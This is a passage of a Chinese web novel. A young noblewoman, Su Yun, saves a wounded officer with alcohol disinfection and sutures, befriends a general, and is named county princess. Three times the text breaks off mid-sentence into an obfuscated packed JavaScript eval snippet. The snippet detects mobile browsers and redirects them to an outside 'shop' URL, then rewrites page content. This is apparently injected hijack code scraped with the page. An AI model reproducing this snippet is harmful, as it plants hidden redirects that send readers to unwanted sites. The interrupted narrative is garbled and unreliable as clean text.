苏云见旁边有一个庄户抱着冰棍箱，也在人群里看热闹，就向他招招手，然后对少年将军道：“将军，病人已经送去病房休息，你着急也没有用，要不和兄弟们都吃根冰棍，解解暑？” 少年将军虽然担心，却也知道现在没什么办法，也就随意点了点头。苏云让庄户拿出一根果脯的，亲手递给少年将军：“将军请尝尝。” 然后对庄户道：“兵哥们都给一根，算我的。你是几号？我看看木牌。” 庄户大喜，掏出木牌，是八号。庄户给了当兵的每人一根，一下子就卖出去了十来根。 少年将军接过冰棍，有些心不在焉往嘴里送，却感到一阵凉意，惊道：“这是什么吃食？大热的天，居然还会有这等冰食？” 别的士兵也吃起来，赞不绝口，立马感觉浑身暑气都消解了几分。 苏云道：“这是我们临川县的特色，大家都用这个冰棍解暑。” 有些士兵吃完，看着庄户，庄户有些瑟缩。苏云笑道：“想是各位兵哥哥暑气还重，每人再给一根吧。” 庄户听言，赶紧又每人给了一根，大家快乐地吃将起来。 说话间，士兵拿着羊肠回来了，苏云看时辰不早，就向少年将军告辞道：“我家就在前面，病人的伤势很重，不用等明天，如果傍晚都没有好转，尽可以来找我。或者你留下两个兄弟在这里看着，随时报告病人情况，将军沙场辛苦，若将军不嫌弃，亦可跟我回家，好尽地主之谊。我家人多，也没有不方便之处。” 少年将军满眼惊诧看着苏云，心想这小女孩竟然如此大方，也如此胆大，莫不是有所图？ 苏云看出她的猜想，道：“若将军放心不下病人，那小女子就告辞了。”说完就要走。 少年将军心想，光天化日，又是一群糙汉子，难道怕一个小姑娘不成？再说吃了人家的冰棍，如果不答应，怕是人家面子下不来。于是道：“既是小姐相邀，敢不从命？” 于是，安排了两位士兵留下照看病人，带着剩下的四五人跟着苏云往院子走去。 进的院子，只见杨婆子在厨房张罗饭食，二鹏正在歇息喝茶，有一个庄户在等着拿冰棍。大鹏两口子在作坊里忙碌，娟儿正经八百在登记着什么。 看到苏云进来，停下笔，高兴道：“小姐你来了？”就要扑上去，看到旁边的士兵，吓得止住了脚步，二鹏也紧张得站了起来。 苏云道：“大家不必紧张，戍边的将军返京，路过临川，在我们这里歇个脚。大家该干什么就干什么，不用怕。”王嬷嬷赶紧去通知杨氏多做点饭食。 二鹏也去找出几根长凳，放在阴凉处，又去张罗茶具。 士兵们都坐下，见二鹏端上茶来，笑道：“辛苦这位小哥了。” 二鹏讷讷，退下了。去作坊里换大嫂出来帮母亲做饭。 一个士兵端起茶来，水太烫，又放下，道：“要是能有刚才的冰棍就好了。” 苏云笑道：“二鹏，你去拿一箱冰棍出来给兵爷吧。不过各位兵哥，你们可不能吃太多，不然肠胃受不了，会拉肚子的。”众人笑了。 二鹏很快拿出一个冰棍箱， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205756|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放到桌上，士兵们并不客气，纷纷动起手来。 见小姑娘大方、豪气，少年将军已有几分欣赏之意，起身行礼道：“本将军姓林，名涵功，是定国公府世子，这两年在边关戍边，前些日子随张叔，也就是那个病人，外出巡视，遇到敌国小股部队偷袭，一番激战，张叔为了救我，背部中刀，好在最终将敌人歼灭。回到营地，却收到朝廷诏书，张叔不顾伤口，草草治疗就上路疾驰，终于在这里晕过去，后来的你就都知道了。不知小姐如何称呼？” 苏云无语，身受重伤，却连夜急行军，这古人真是愚忠得可以，命都不要了。起身还礼，嘴上却说：“将军精忠报国，令人既感且佩！小女子是定阳侯府嫡女，姓苏名云，因一些原因要在临川县呆上几年，今日将军不嫌鄙陋，小院蓬荜生辉。” 少年将军没想到苏云居然是侯府小姐，言语中像是不太想让人知晓被放逐的原因，也不便深究，只得含糊了几句。 王嬷嬷过来，苏云悄声跟她说了几句，王嬷嬷就出去了。 正说话间，只见黎大为走进院子，苏云道：“大为回来了，快来见过林将军。”黎大为赶紧上前，向林涵功行礼道：“黎大为见过林将军。”林涵功见黎大为长相斯文英俊，虽然年龄不大，却有些气度，拿不准是什么人，也只得站起回礼：“黎兄弟好。” 苏云道：“这是我家二哥好友，盘州人氏，黎姓，名大为，现做些酒水买卖，过些时候要去京城公干，若将军那时还在京城，还望照拂一二。” 林涵功这才知道苏云这番用意，只是也没觉得有什么，当下答道：“我会在京城呆上三四个月，若黎兄来京，请务必到国公府盘桓。” 黎大为道：“大为这里先谢过将军了。” 稍后，只见王嬷嬷带着陆平进来，王嬷嬷手里提着个木盒，陆平则提着一个篮子，上面盖着一块布。正好厨娘开始摆放餐具了。 分了两桌，主桌上林将军和士兵们坐一桌，苏云和黎大为作陪；大鹏一家，和王嬷嬷、陆平则坐在了另一桌。 士兵们见桌上大盘小碗，林林总总十多样菜，心里好不高兴。这些日子一路餐风露宿，饿了就啃块烧饼，喝口清水，哪里有这般好吃食。正高兴，却见娟儿拿着一瓶酒过来，依次满上，众人一闻，醇香扑鼻，更是急不可耐，齐齐看着林涵功。 苏云笑笑，端起酒杯，站起朗声道：“林将军、各位兵哥，今日能来小院歇脚，令小院蓬荜生辉。各位在边疆抛头颅，洒热血，只为保家国安宁。小女子不才，敬大家一杯，以表感激之意！”说完，并不扭捏，一饮而尽。 林涵功和众将士也站起，都是战场上打滚的糙汉子，见苏云气度豪迈，完全没有小女孩的扭捏，不禁大有好感，口称谢谢，也不怕酒里会有什么东西，都一饮而尽。 酒到嘴里，顿觉口齿生香，都觉生平从没喝过如此好酒。 苏云道：“各位兵哥，不用客气，大家请自在点。”众人大笑一声，纷纷动起筷子。 林涵功也觉得此酒甘美异常，不禁奇怪地从娟儿手中拿过酒瓶看了一下，轻声道：“卧云醉，以前怎么没听说过有这般美酒呢？” 苏云笑道：“国公府世子，天下什么好东西没见过？只是此酒也是近日才从外地拉来的，说是产量有限，平日难得一见，三十两一瓶，却还不容易买到。”林涵功唬了一跳，没想到这么贵的酒，轻易就拿出来招待自己，不由十分感动，端起酒杯：“小姐盛情，为兄铭记在心，若不嫌弃在下粗鄙，日后就唤小姐妹子，你也喊我一声大哥。若日后有用得着为兄之处，绝不推辞。” 虽是场面上的话，苏云打蛇随棍上，端起酒杯：“是小妹高攀了，大哥，干了。” 苏云前世就有些军人情节，还曾去报考过军校，只是体检不过关，所以后来才去学跆拳道，强身健体。现在旁边就有一个古代军人，长得那么帅，还称是大哥，自是觉得十分投缘。而林涵功在去军营之前，也在京中生活，见惯了那些大家闺秀，扭扭捏捏，甚是不喜，见苏云有豪气，一点不做作，堪称世间奇女子，也是十分喜欢。谈起军中趣事，苏云恰到好处表现出向往和崇拜，令林涵功更是心生喜欢，引为知己。于是相谈甚欢，黎大为反倒有些插不上话了。 苏云叫上黎大为，原准备话不投机的话，就找借口退下，让黎大为作陪，没想到两人还真心言谈投机，让黎大为有些尴尬。于是黎大为就端着酒杯去跟士兵们挨个碰杯。好在士兵们对这家子颇有好感，也挺给面子，酒到杯干，气氛融洽，不一会儿就和黎大为称兄道弟起来。 眼看差不多吃过，苏云道：“大哥，还有两个兵哥还在医馆，要不你让两个兄弟去替换一下他们？”林涵功夸道：“妹子好生心细。” 于是安排两个喝得不多的士兵回去换人。 想起张叔，林涵功面露忧色：“张叔是家父的结拜兄弟，从小就对为兄多有照抚，今番又是为救为兄才受此重伤，若有一个三长两短，真不知如何向家父交代。你说今日大夫真的救不回来张叔吗？”苏云道：“我只是按照大夫的手法推测的。你可不知，空气中有大量看不见的毒素，水里、物体上都有，最喜聚在动物伤口上面，若不除掉它们，时间长了，伤口就会化脓感染，直至内脏功能尽失，最终毙命。”苏云不敢说细菌，怕解释不清楚，说是毒素，就让这些古人容易理解多了。 见林涵功仍有忧色，便道：“常言道：命由天定，张叔仁义无双，应是命不该绝，你且放宽心。” 不久，三个士兵和杨婶子走了进来，一个士兵手里还抱着个小酒坛。苏云让士兵把坛子放桌上，打开闻闻，已经没有多少酒香，应是又蒸馏过几次，酒精纯度应该能达到七十多度了。 林涵功问起张叔情况，士兵道：“高热还是没有退，一直在说胡话，还痛醒过两次。”见问不出什么，就让他们去吃饭喝酒了。 这边杨婶子也奇怪，想要问苏云，又觉不太方便，便到另一桌去吃饭去。 吃过饭，林涵功带着人回到医馆，苏云叫过杨婶子道：“杨婶子，今天叫你来，是有个事情想麻烦你。”杨婶子道：“龙女有事只管吩咐就是。” 苏云道：“待会儿可能会让你在人身上缝针线。” 杨婶子大惊：“人的身上缝针线？” 苏云道：“正是，是一个将军。他身受重伤，伤口很长，自身难以愈合，须得将伤口缝合起来。你放心，不用怕，若是出了什么事，绝不会让你受牵连。” 杨婶子还是面露难色，苏云道：“只要你缝合，不管后面怎样，将军都会给你五两银子。” 杨婶子心中一喜，五两银子，真不是个小诱惑。苏云又道：“缝合时，不用太密，动作快些就行。”杨婶子只好答应下来。 苏云让杨婶子去王嬷嬷房间歇息一会，养足精神，又安排杨氏找了一些没有用过的白布，让她在没有油的干净锅里，用开水里煮小半个时辰，然后捞起来晒干。吩咐完毕，自己也赶紧回到房间打坐运息。 忽听王嬷嬷在外敲门，苏云开门道：“可是将军那边有事？” 王嬷嬷道：“正是，将军的烧越发严重，已经昏迷。” 苏云见事态紧急，叫王嬷嬷抱着酒精坛子，拿着羊肠线、白布，带上杨婶子，急急朝医馆赶去。 27. 第 27 章 27、缝合伤口 几人赶到医馆，只见林涵功在外面踱来踱去，一脸焦急。看到苏云过来，忙上前道：“云妹，你快来看看，张叔又晕过去了，只怕坚持不了多久。” 苏云没有答话，快步进去，见围着一圈人，忙道：“你们都出去吧，房间小，人太多，对病人不好。”于是士兵们退了出去。 苏云上前问大夫：“现在情况怎么样？” 郎中焦急道：“情况很是不好，已经服了两次退烧药，高烧还是不退。” 苏云仔细看看，病人显然已经晕过去了，满脸通红，额头上布满了汗珠。林涵功进来，苏云道：“大哥，现在情况很危急，必须重新处理伤口，只是我也没有绝对把握，万一不成功，那可怎么办？你看要不要重新处理？” 林涵功没有丝毫犹豫：“继续这样，肯定是没有希望了，你就重新处理吧，不管结果如何，都不用你负责。” 苏云不再推辞，问郎中，：“大夫，贵馆可有曼陀罗？”郎中摇头：“那是什么药材？没听说过。”苏云道：“那有没有押不芦，也叫鬼参？”郎中想了一会儿道：“好像是有的，平日基本没用过。” 苏云道：“有劳郎中安排煎一些押不芦，另外再煎副退烧药，加大一半的剂量，拿一把小刀，准备上好的金创药。对了，再拿一个干净的大汤碗，打一盆清水过来。” 等东西准备好，苏云让人把张叔翻过身，趴在床上，然后用剪刀剪开白布，只见金创药黑乎乎的涂在上面，但不少地方还在渗血，黑中透红，有些刺目。苏云先到盆子里洗了手，苏云将坛子里的酒精倒出来打湿了一块白布，然后用白布将汤碗认真擦拭了一遍，这才将酒精倒了大半碗。将小刀在酒精里泡了一下，接着又拿来一块白布，也在酒精里泡了一下，然后将白布在伤口周围擦拭，擦拭后扔在一边。取出小刀，仔细将伤口上的金创药一点点刮下来，又拿出一块白布，在酒精里泡过后，开始擦拭伤口上残留的金创药，随着一点点擦拭干净，伤口的本来面目呈现出来，伤口出颜色鲜红，有些地方已经开始发白，皮肉仍是外翻，煞是吓人。 苏云扔掉手中白布，又拿出一块，放在酒精碗里，将伤口不断擦拭了两遍，然后退到旁边，对杨婶子道：“下面就要看你的了。”杨婶子颤颤巍巍，手脚都有些不听使唤。 苏云重新倒了一碗酒精，道：“没事，你先洗手，然后听我的，一步一步来，没事的。”杨婶子咬咬牙，按照苏云吩咐，消毒，穿羊肠线，缝合，一步一步，全听苏云指挥，缝合完毕已是满头大汗。 苏云将金创药均匀撒在伤口上，然后让郎中一起动手，用开水煮过的白布包扎起来，手术就算是结束了。 苏云道：“现在手术做完了，剩下的就看张叔能不能斗得过阎王爷了。” 感觉屋子里闷热异常，苏云打开全部门窗通风，还吩咐王嬷嬷赶紧让大鹏兄弟送两桶冰过来。 林涵功观看了整个过程，对苏云的全力抢救既感且佩，竟然生出一些袍泽之义来。军中同袍，那是在战场上能把后背交出去的生死交情，一旦产生，自是不同寻常。愣怔片刻问道：“接下来还要做什么？” 苏云道：“光靠张叔自己和阎王爷斗是不行的，我们也要帮忙。药煎好了吗？”一个小厮将药端上来，又让林涵功帮忙将张叔小心翻过来，灌下药后又反躺。苏云道：“接下来，要时不时将张叔的伤口处透风，可以扇扇子，但一定要小心，不要碰触伤口。呆会冰桶拿过来，你们要用冰水把布打湿，放在张叔额头上，若是有好转了，就不要再用冰水，用凉水打湿白布即可；另外，还要用白布蘸酒精，在张叔的手心、脚掌心、胳肢窝等地方擦拭，一刻钟擦一次。一直擦，直到退烧为止。” 一会儿，大鹏兄弟提着冰桶来了，冰桶就放在房间里降温。苏云就给他们示范了一遍，这才告辞，起身回家。林涵功安排大家轮流值守。 苏云让王嬷嬷给了杨婶子五两银子，打发她回柳河庄了。自己也紧张，颇觉乏累，洗澡后，晚饭也不吃，回到房里躺下了。 醒来时已是半夜，睡不着，干脆穿衣出来，在院子里乘凉，打坐。听得一声鸡叫，苏云猛地醒来，做了个收势，怕别人看见不好，赶紧回到房间里去了。 天色亮了起来，大家都起床了，苏云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205757|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见一个晚上都没有人来找自己，想是张叔的情况应该稳定下来了。于是让陆平先去跑一趟，回来报称，张叔的烧果然已经退了很多，呼吸也平缓了许多。 苏云这才松了一口气，把心放了下来。 吃过早饭，苏云让王嬷嬷提着熬好的白粥，来到了医馆，见林涵功正趴在桌上睡着，其余士兵有的在睡，有的坐在张叔旁边看着。 苏云悄悄过去，见张叔呼吸平稳，基本回复了正常，面色不再通红，用手摸了摸张叔额头，还有一点热，已经不烫了，整个情况完全好转了。 苏云让王士兵将张叔的头抬起，王嬷嬷把白粥吹冷，一勺一勺喂进张叔嘴里。 喂完后，大家都醒过来了。林涵功道：“云妹这么早就过来了？其实昨晚三更就已经好了很多，怕打扰你，就没让人送信。” 苏云道：“无妨，只要张叔情况好转，就是最好的消息。我们在这里看着，你们都饿了吧？要不你们先到院子里把早饭吃了再来？”林涵功也不客气，真把苏云当自家妹子了，就拱拱手，带着部下出去了。 郎中顶着一双熊猫眼来了，看到苏云在，简直就像看到了大救星，激动得跑过去先看看张叔，见情况稳定，脸露不可思议之色，转身纳头就拜，吓了苏云一跳。王嬷嬷赶紧上前将他扶起。郎中昨晚上 一夜未眠，生怕张叔没救了，自己一家人都要遭殃，毕竟这种大官，要是死在自己手里，哪里还有活路？ 郎中哽咽着说不出话，苏云知道他的心思，道：“不用谢我，你的金创药，退烧药可都是好东西，要说功劳，我们至少是对半的。” 郎中这才逐渐平静下来，道：“小姐医术精湛，老朽佩服之至。不知可否给老朽说说其中的奥妙？”苏云并不想私藏医术，反倒巴不得他学会，能救更多的人，于是毫不保留将消毒和人体免疫力的观念传给了他，并答应给他提供酒精。 这于郎中而言，无异开辟了一个全新的境界，以后更是用这种观念，救活了无数人。而苏云以后也时不时过来请教郎中，郎中也不藏私，有问必答。苏云的医学以前都是零星不成系统的，至此慢慢贯通起来。 28. 第 28 章 28、临川县主 午饭后，又去诊所，到了下午时分，张叔醒来，听说自己被抢救的过程，很是感激，想要亲自向苏云道谢，却见苏云只是一个十二三岁的小女孩，一时惊得不知道该说什么。 苏云却笑道：“张叔此番死里逃生，小女和大夫确有几分功劳，只是要从鬼门关逃出来，还得是张叔武艺超群，打败了黑白无常、大鬼小鬼，只怕现在阎王也还在阎罗殿里生闷气呢！”众人听得大笑。 那郎中在旁边听得感动，没想到苏云并不贪功，还不忘分润给自己一份功劳，对苏云人品极是佩服。 张叔也笑了，早听林涵功说苏云是侯府嫡女，以为是个沉闷扭捏的大家闺秀，却没想到长相娇美，却又几分豪气，竟如此爽直，听她唤自己张叔，也很喜爱，顺着说笑：“侄女这样说，我倒是想起来了，昨日和黑白无常打斗，眼看不敌，一根绳子突然从外面飞进来，缠在我的腰上，猛地把我拉了出来，一下就醒了。原来不是我功夫厉害，是侄女和大夫的救命索厉害啊！”众皆笑得前仰后合。张叔也笑了，却止不住咳了两声。 苏云见状，赶紧说道：“张叔莫要说笑了，你现在只是脱离危险，接下来还需静养多日，切不可激动。张叔可是饿了？”张叔微微点头，苏云让王嬷嬷将下午带来的白粥又喂了一次。张叔吃完，沉沉睡去。 林涵功叫出苏云道：“云妹，明日大哥就得回京城了，若是延期，就是抗旨不遵。只是张叔现在这个情况，肯定是不能移动的，只能我自己先回去说明情况。我会留下几个士卒照顾，你也多费费心。这里有五百两，你先拿着，不够容下次再补上。”说着，掏出一张五百两的银票，递给苏云。 苏云道：“大哥说笑了。你既叫我妹子，那张叔也就是我的张叔，没听说一家人还要给钱的，况且不过几日饭食而已，何至于此，莫不是大哥看不起小妹？” 林涵功道：“小妹说哪里话。常言道：亲兄弟，明算账。小妹救命之恩，大哥会一直记在心里。只是这后面日子，还需小妹尽心，费用不菲，五百两未必就够了，我出门在外，也没带什么银子，暂时就这些，等回京之后，再容后报。” 苏云道：“大哥既如此说了，那小妹之好腆颜收下了，你放心，张叔在此间，必定会照顾妥帖。半月之后，若情况没有反复，便可派人来接。只是回去之后，还需将养三两个月。”于是叫来郎中道：“此次救治张将军，你功不可没，林将军赏罚分明，赏赐你白银五百两，望你后续妥善照顾，每日换一次药，不得出任何岔子。” 郎中惊喜不已，眼睛向林涵功扫去，见林将军微微点头，赶紧接过银票，道：“多谢将军、小姐赏赐，在下必将尽心尽力，照顾好张将军。” 林涵功见苏云不贪财，又高看了她几分。哪知道苏云其实心里在滴血，肉痛不已，只是为了以后能在京中做事方便，傍个粗腿，结个善缘，只好忍痛罢了。 傍晚，苏云送给林涵功一个礼盒，里面两瓶卧云醉。林涵功谢过，留下四个士卒，轮流照看张叔，便连夜启程回京了。 苏云在院子里安排了两个房间，让四人轮流住宿。士兵们不花一两银子，每日好酒好菜招待，还有随便吃的冰棍，再加上张叔其实不用怎么照顾，饭食都是苏云提供，还有黎大为时不时给钱让他们去青楼，这小日子不要说有多舒坦，竟有点乐不思蜀起来。 苏云为了维持好张叔的关系，也每日过去看看，聊聊天，顺便向郎中也学学医术。把前世看过的武侠小说、战争电视剧，还有什么三国演义、三十六计，结合现有实际，专拣张叔喜欢的来讲，直听得张叔目瞪口呆，天天盼着她来。 郎中也是时时关心，按时换药，尽心程度比伺候自己老爹更妥帖，几个人相处很是愉快。苏云便托郎中打听哪里可以找到有经验的药农。 期间，把莺儿也接过来，让她拜班主为师，每月二两银子学费，并不让她做其它事情，每日白天学习，晚上都送回院子里住宿，还给莺儿买了一张琴，方便练习，自己也顺便买了一把琵琶。 黎大为又去了两次柳河庄，苏云让他带了几瓶卧云醉给林二伯，还给了他一千两银子，说自己在城里有事绊着，回不去，让林二伯自行安排。黎大为也没问具体什么事，只管照做。 灌装了卧云醉，看看数量差不多了，黎大为就和陆平起程去了临县售卖。而张叔养病之事，朱县令也知道了，心想是结交权贵的一个机会，亲自来探望两次，还时不时派人送来各种补品。 日子一天一天过去，不觉已过了七八日。中途黎大为回来过一趟，灌装了卧云醉后，又去了别的邻县。 这日，正在吃午饭，只见铁匠铺一小伙计跑来，说是小姐定制的长鞭做好了。苏云饭都顾不上吃，带着王嬷嬷就往铁匠铺赶去。 接过鞭子，只见长鞭做工精细，柔软坚韧，鞭柄上有个按钮，轻轻一按，鞭柄就可变软，再一按，又可变硬，可做长枪使，方便至极。往腰上一缠，非常合体，只要面上罩上一条布，根本看不出是一根长鞭。 苏云非常满意，提前了两天，就按照前面的约定，给了二百两银子。 这些日子，苏云并没有丢下自己的功夫，除了每天运息两次，还着重练习轻功，现在一跃丈高，已是稀松平常的事情，石子也扔了不少，内劲肉眼可见在增强。另外，没有鞭子时，苏云就先把追风三十二鞭法背了个纯熟。 苏云为了方便，就按照购买顺序，将三个宅子编号，制冰院子就叫凉水院，纯酒院子取名如临院、三号院子是轻风院。让人去定制了牌匾挂上。三号院子还没有住人，苏云按捺不住，吩咐王嬷嬷去定制一条腰带，就自行去了轻风院练习。 关上门，四下无人，苏云先打坐，然后热身，抽出鞭子，开始练习第一式：“起手式”。没想到看似简单，挥鞭之时，不是准头不够，就是鞭子被别的东西缠绕上了，有时还缠到了自己手上，练习了一个下午都没有完成。苏云明白这是对软鞭的性能还不够熟悉，于是也不练习招式了，只管在院子里面随意挥舞，先熟悉熟悉手感再说。看看天色将晚，这才回到凉水院子，见大家都在等着她吃饭，甚是过意不去，让他们以后不用等她，只管先吃就行。 为了练习方便，苏云当晚就命人在轻风院打扫出了两个房间。以后她就要去那边住。苏云每天自个儿练习，当然也没忘记每天抽空陪张叔说说话。 苏云在三号院子独自挥舞了三四日，感觉手中的鞭子开始慢慢听话了，指东打西，很是顺手。这才开始按照鞭法开始练习“起手式”，按照要求，一遍又一遍，并不觉得枯燥无聊，只觉得时间过得飞快。 这一日刚在凉水院子吃过午饭，只见一个衙役飞奔过来，进门就大声道：“苏小姐，圣旨到了，快准备迎接。” 满院子的人都惊呆了，怔愣了好一会儿，这才反应过来，忙问衙役怎么回事，衙役抹着额头上的汗水，喘着气道：“在下也不知道是怎么回事，是县令大人吩咐小人前来告知，要小姐准备好香案，准备迎接。”说完，就跑回去复命了。 苏云也摸不准什么情况，只是院子里没有香案香烛之类的东西，好在在城里，什么都有，马上派二鹏出去采购，很快就准备妥当，又给王嬷嬷交代了几句，苏云也去房里换了一身合适的衣服。 不久，一群人涌进了院子，领头的是一位面白无须的中年太监，朱县令在一旁候着。太监开口道：“请问哪一位是侯府的苏云小姐？” 苏云上前半步，行了个福礼：“苏云见过公公。不知公公贵姓？” 太监见苏云只是一个十二三岁的女娃，举止端庄，点点头：“小姐免礼，咱家姓张，既然都在，那就焚香接旨吧。”二鹏赶紧点好香烛。 太监高声道：“苏云听宣。”苏云赶紧跪下，后面一众人等，也跟着跪下。只听太监高声念道：“奉天承运，皇帝制曰。民生乃天下之本，农事自古为国之根本，粮足则天下可定矣。今有定阳侯府侄女苏云，机敏聪慧、关爱民生，发明灌溉之水车及水渠，工部、户部推崇有加，言此举惠及万千农户，充盈国库，安定天下民生，功在千秋。朕心甚慰，特封苏云为临川县主，赐黄金百两，封地五十亩。钦此！” 苏云叩拜：“谢主隆恩。吾皇万岁万岁万万岁！”伸出双手过头接旨。 苏云起身，刚要上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205758|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前感谢太监，只见太监又拿出一卷圣旨，高声道：“临川县令朱世铭接旨。”旁边的朱县令唬了一跳，没想到还有自己的事情，这死太监也没有提前告诉自己，故意戏耍本县。赶紧跑到香案前跪下，苏云一众人也只得跟着跪下。 只听太监大声道：“奉天承运，皇帝诏曰。临川县令朱世铭，勤政爱民，关心农桑，颇有政声。今有辖下苏云进献水车、水渠，皆为朱县令平日治下有功，今擢升朱世铭为六品，仍暂辖临川县，待京中有缺，再行补升，钦此！” 朱县令大喜，一下子连升两级，真是喜从天降，忙叩拜，颤声道：“谢主隆恩，吾皇万岁万岁！” 见宣布完毕，苏云起身上前道：“张公公辛苦了。张公公远道而来，本应由本县主做东道，奈何本县主年幼，更兼女儿身，多有不便，院子简陋，怕招待不周，反为不美。想是朱县令自会接待周详，不敢越厨代庖。为表心意，只有送天使两瓶美酒卧云醉，还望天使笑纳！”说着，递给张公公一个木盒。张公公见木盒精美，但听说是两瓶酒，不甚在意，旁边小太监想要接过去，苏云装作不知，一直举着。 张公公看出苏云的意思，便挥挥手，小太监退下。张公公亲自接过木盒，打开一看，里面是两个白色酒瓶，关键是上面还有一张银票，仔细一瞄，竟然是五百两，心里乐开了花，暗想苏云一个小女孩，居然如此大方。一般人家，能给一百两就算不错了。合上木盒，交给了旁边的小太监，笑着对苏云道：“县主厚赐，咱家愧领了。” 苏云道：“应是本县主感谢公公才对。还有一事需求张公公禀明皇上。” 张公公道：“县主请讲。”苏云道：“当年一道长算出本县主与祖母生辰有些相克，虽做法化解，却仍需及笄前不得进京，现在时辰未到，怕进京对祖母身体有所冲撞，故不敢进京向皇上致谢，还望皇上能够体恤小孙女一片孝心，能够原宥本县主冒犯皇恩之举。” 张公公笑道：“原来是此事。无妨，定阳侯前日已禀明皇上，皇上已然允准，县主不必亲自谢恩，由侯府主母代为致谢即可。” 苏云眼含热泪：“多谢皇上体谅。皇上在朝，日理万机，殚精竭虑，为生民谋福祉，本县主仰慕已久，无缘得见圣言颜，是本县主无福。本县主身无长物，也只能献卧云醉给皇上，聊表敬爱之意。”说着，又从王嬷嬷手中拿过一个同样的木盒，双手递给张太监。 张太监得了好处，心想只是转告一下而已，至于皇上要不要，都是皇上一句话的事情，只要自己将话带到，也就没白拿县主的银子。于是笑着说：“县主美意，咱家必会转达。” 朱县令在旁对苏云微微一笑，苏云会意点头。见此间事情已了，朱县令就簇拥着张太监，扬长而去。 苏云送到门口，才折返回来，只见院子里的人都跪在地上，连两个士兵也不例外，口道：“恭喜小姐，喜封县主。”有了县主封号，只怕以后没人敢轻易动她了。苏云心情大好：“都起来吧，院子里，有一个算一个，每人二两银子。”众皆大喜，叩头谢赏。尤其两个士兵，天天白吃白喝，没想到还凭空得了二两银子，更是喜不自胜。 杨氏一家更是欣喜，他们一家五口人，一下子就得了十两银子，感觉晚上都要睡不着了。 苏云道：“嬷嬷，大为、陆平、还有看护张叔的两个兵哥，以及柳河庄院子里的，每人都有。今晚加菜，庆祝一下。”王嬷嬷一一应下。 娟儿喜滋滋的跑上来，问道：“小姐，这以后我们怎么称呼小姐呢？是小姐还是县主？”苏云道：“还是低调一点，仍叫小姐吧。” 怕庄户知道，又来找自己道喜麻烦，干脆就去了轻风院子，练了一个下午的鞭法。 回到凉水院子，大家都在兴奋地准备着晚餐，王嬷嬷给了她一封信，原来是林涵功着人送来的，信中说回京之后一切安好，已知苏云封为县主之事，特写信恭喜，再过几日会来临川接张叔云云。 张叔身子本就健壮，调理十余日，已然能下地慢慢走动，于是苏云暂在凉水院子内院安排了一间屋子供他居住。 晚上吃饭时，大家一起畅饮，自是一片热闹祥和。 29. 第 29 章 29、进京大计 次日，朱县令、县丞和主簿来访，苏云赶紧出去迎接，双方免不了一阵恭贺道喜，相互一顿彩虹屁，好不热闹。 坐定后，朱县令开始说正事：“县主，此次皇上的确是破格赏赐，按本朝惯例，非郡王之女不得封县主，县主虽是侯府嫡女，严格论起来，也不能封县主。况且，县主一般都是空号，并不会有实际的封地。今番县主不仅得县主封号，还有封地，虽不大，但也算是本朝第一人，据下官所知，连县主在内，本朝得封县主封号的，不过三人，且县主是第一个有封地的县主，怕是不日就要名扬四海了。” 苏云哪里知道这些，听得县令此话，赶紧起身，朝着京城方向福了福道：“皇上隆恩，无以为报。” 待苏云坐定，县令继续道：“固是朝廷恩重，却又何尝不是县主水车功劳卓著？当今皇上重视农桑，才有此际遇，当之无愧，当之无愧！” 苏云赶紧称谢。 朱县令这才说明来意：“皇上虽然赐予了封地，并未有指明具体位置，今日一早送走天使后，我等三人便着手商量封地之事，选了两处肥沃之地，请县主过目，若是不满意，我们再商量。” 原来是这个事情。只见主簿拿出一本账簿，再加上一张县里舆图，展开舆图，指了指道：“一处是本县东边的集琉村，还有一处是南面的卢兹村，都是膏腴之地，不知县主中意何处？” 苏云道：“朝廷赐封地，怎敢建在肥沃之地？岂不是与朝廷争利？朝廷赏赐，不敢不接，既可以选择，本县主就选一块贫瘠之地吧。只要有水、有路，类似柳河庄即可。” 三人大惊，朱县令道：“县主三思，此番机会难得，现下本县尚有肥沃之地可选，以后可就不好说了。” 苏云道：“本县主就是这个想法，望县令大人成全。” 主簿道：“县主高义。若县主执意不肯要肥沃之地，那在柳河庄的上游，还有一个槐树村，情况大致与柳河庄相若，若不嫌贫瘠，也可亲自去看看。” 苏云道：“不用，就定在那里吧。” 这日，黎大为带着陆平回来了。 如临院子，苏云和黎大为、王嬷嬷在一起商谈。 黎大为汇报了最近这半个月在临近县城卖酒的情况，都进行得很顺利，三个县一共卖了三万二千二百五十两，收获颇丰，苏云二话没说，直接让王嬷嬷入账三万二千两，二百五十两的零头就算黎大为和陆平的奖金。 苏云道：“现在我们摊子越来越大，人手着实不够。按照计划，过些日子你就要进京，若是人手不够，你准备怎么办？是在这里挑选人带过去，或者买人，还是到了京城再买？” 